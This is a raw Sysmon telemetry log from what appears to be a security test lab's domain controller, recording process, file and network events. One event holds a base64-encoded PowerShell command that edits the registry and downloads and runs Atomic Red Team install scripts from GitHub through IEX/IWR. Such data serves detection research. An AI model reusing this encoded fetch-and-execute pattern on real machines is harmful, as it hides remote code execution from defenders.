09:10:35.067{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003624Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.067{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003623Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.067{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003622Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.067{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-290B-5F80-B900-000000007F01}2996C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003621Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.067{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003620Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.067{A5F018FF-2909-5F80-B800-000000007F01}48525088C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-290B-5F80-B900-000000007F01}2996C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+270222|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26fe9f|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f9ee|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f97a|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26e48b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c242b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c18d9|C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\9186b3a6901d8be18e984dbec3425168\Microsoft.PowerShell.Commands.Utility.ni.dll+a8da8860(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\9186b3a6901d8be18e984dbec3425168\Microsoft.PowerShell.Commands.Utility.ni.dll+a8da8860(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc8f8357(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc8d4130(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc8d3e01(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd385466(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc894997(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc8f2e66(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc8d64cb(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc8d64cb(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc8d64cb(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc8d64cb(wow64) 154100x80000000000000003619Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.078{A5F018FF-290B-5F80-B900-000000007F01}2996C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe4.7.2053.0 built by: NET47REL1Visual C# Command Line CompilerMicrosoft® .NET FrameworkMicrosoft Corporationcsc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\y41xitbf\y41xitbf.cmdline"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2908-5F80-2264-060000000000}0x664220HighMD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAEkAbgB0AGUAcgBuAGUAdAAgAEUAeABwAGwAbwByAGUAcgBcAE0AYQBpAG4AIgAgAC0ATgBhAG0AZQAgACIARABpAHMAYQBiAGwAZQBGAGkAcgBzAHQAUgB1AG4AQwB1AHMAdABvAG0AaQB6AGUAIgAgAC0AVgBhAGwAdQBlACAAMgAKAEkARQBYACAAKABJAFcAUgAgAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcgBlAGQAYwBhAG4AYQByAHkAYwBvAC8AaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAC8AbQBhAHMAdABlAHIALwBpAG4AcwB0AGEAbABsAC0AYQB0AG8AbQBpAGMAcgBlAGQAdABlAGEAbQAuAHAAcwAxACkACgBJAG4AcwB0AGEAbABsAC0AQQB0AG8AbQBpAGMAUgBlAGQAVABlAGEAbQAgAC0ARgBvAHIAYwBlAAoASQBFAFgAIAAoAEkAVwBSACAAJwBoAHQAdABwAHMAOgAvAC8AcgBhAHcALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvAHIAZQBkAGMAYQBuAGEAcgB5AGMAbwAvAGkAbgB2AG8AawBlAC0AYQB0AG8AbQBpAGMAcgBlAGQAdABlAGEAbQAvAG0AYQBzAHQAZQByAC8AaQBuAHMAdABhAGwAbAAtAGEAdABvAG0AaQBjAHMAZgBvAGwAZABlAHIALgBwAHMAMQAnACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwApAAoASQBuAHMAdABhAGwAbAAtAEEAdABvAG0AaQBjAHMARgBvAGwAZABlAHIAIAAtAEYAbwByAGMAZQAgAC0AUgBlAHAAbwBPAHcAbgBlAHIAIAAiAHMAcABsAHUAbgBrACIAIAAtAEIAcgBhAG4AYwBoACAAIgBsAG8AYwBhAGwALQBtAGEAcwB0AGUAcgAiAA== 11241100x80000000000000003618Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.067{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\y41xitbf\y41xitbf.cmdline2020-10-09 09:10:35.067 11241100x80000000000000003617Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:35.067{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\y41xitbf\y41xitbf.dll2020-10-09 09:10:35.067 22542200x80000000000000003651Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:34.351{A5F018FF-2909-5F80-B800-000000007F01}4852codeload.github.com0::ffff:140.82.121.9;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 354300x80000000000000003650Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:34.364{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-1796611.attackrange.local56388-false140.82.121.9lb-140-82-121-9-fra.github.com443https 354300x80000000000000003649Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:34.302{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-1796611.attackrange.local56387-false140.82.121.3lb-140-82-121-3-fra.github.com443https 22542200x80000000000000003654Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.499{A5F018FF-2909-5F80-B800-000000007F01}4852onegetcdn.azureedge.net0type: 5 onegetcdn.ec.azureedge.net;type: 5 cs9.wpc.v0cdn.net;::ffff:152.199.19.161;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 354300x80000000000000003653Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.500{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-1796611.attackrange.local56390-false152.199.19.161-443https 354300x80000000000000003652Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.488{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-1796611.attackrange.local56389-false23.14.244.112a23-14-244-112.deploy.static.akamaitechnologies.com443https 22542200x80000000000000003655Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:37.511{A5F018FF-2909-5F80-B800-000000007F01}4852www.powershellgallery.com0type: 5 powershellgallerytrafficmanager.trafficmanager.net;type: 5 psg-prod-eastus.cloudapp.net;::ffff:40.87.85.101;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 354300x80000000000000003656Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:37.440{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-1796611.attackrange.local56391-false23.14.244.112a23-14-244-112.deploy.static.akamaitechnologies.com443https 354300x80000000000000003662Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:39.038{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-1796611.attackrange.local56397-false40.87.85.101-443https 354300x80000000000000003661Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:38.391{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-1796611.attackrange.local56396-false40.87.85.101-443https 354300x80000000000000003660Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:38.282{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-1796611.attackrange.local56395-false23.14.244.112a23-14-244-112.deploy.static.akamaitechnologies.com443https 354300x80000000000000003659Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:38.005{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-1796611.attackrange.local56394-false40.87.85.101-443https 354300x80000000000000003658Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:37.903{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-1796611.attackrange.local56393-false23.14.244.112a23-14-244-112.deploy.static.akamaitechnologies.com443https 354300x80000000000000003657Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:37.602{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-1796611.attackrange.local56392-false40.87.85.101-443https 354300x80000000000000003663Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:39.709{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-1796611.attackrange.local56398-false40.87.85.101-443https 11241100x80000000000000003680Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:42.987{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\lxbyty3a\lib\netstandard1.3\YamlDotNet.dll2020-10-09 09:10:42.987 11241100x80000000000000003679Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:42.987{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\lxbyty3a\lib\net35\YamlDotNet.dll2020-10-09 09:10:42.987 11241100x80000000000000003678Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:42.987{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\lxbyty3a\Tests\powershell-yaml.Tests.ps12020-10-09 09:10:42.987 11241100x80000000000000003677Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:42.972{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\lxbyty3a\Load-Assemblies.ps12020-10-09 09:10:42.972 10341000x80000000000000003676Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:42.581{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-2912-5F80-BB00-000000007F01}4480C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003675Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:42.581{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003674Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:42.581{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003673Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:42.581{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003672Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:42.581{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003671Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:42.581{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003670Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:42.581{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003669Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:42.581{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003668Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 